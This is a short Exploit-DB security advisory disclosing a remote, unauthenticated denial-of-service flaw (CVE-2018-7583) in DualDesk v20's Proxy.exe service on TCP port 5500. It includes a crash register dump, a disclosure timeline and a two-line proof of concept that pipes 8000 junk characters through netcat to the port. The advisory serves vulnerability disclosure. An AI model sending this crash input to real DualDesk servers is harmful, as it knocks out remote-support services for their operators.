DualDesk 20 - 'Proxy.exe' Denial of Service

EDB-ID: 44222
Author: hyp3rlinx
Published: 2018-03-02
CVE: CVE-2018-7583
Type: Dos
Platform: Windows
Vulnerable App: N/A

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DualDesk v20

DualDesk is powerful, easy to use remote support software that is a one-time purchase and lets your
technical support staff remote assist a PC anywhere on the internet through firewalls in seconds with no

Vulnerability Type:
Denial Of Service

CVE Reference:

Security Issue:
Remote unauthenticated attackers can crash the "Proxy.exe" Server component of Dualdesk application
which listens on TCP Port 5500 by sending a long string of junk chars.

(d24.d60): Security check failure or stack buffer overrun - code c0000409 (first/second chance not available)
eax=00000000 ebx=0257f1c0 ecx=00000000 edx=00000000 esi=00000002 edi=00000000
eip=77c6016d esp=0257f170 ebp=0257f20c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
77c6016d 83c404 add esp,4

Start the Dualdesk Run Proxy as Application.

C:\>python -c "print 'a'*8000" > crash.txt

C:\>type crash.txt | nc.exe localhost 5500


Network Access:


Disclosure Timeline:
Vendor Notification: February 4, 2018
Second attempt : February 17, 2018
Request CVE, assigned by Mitre : March 1, 2018
March 1, 2018 : Public Disclosure

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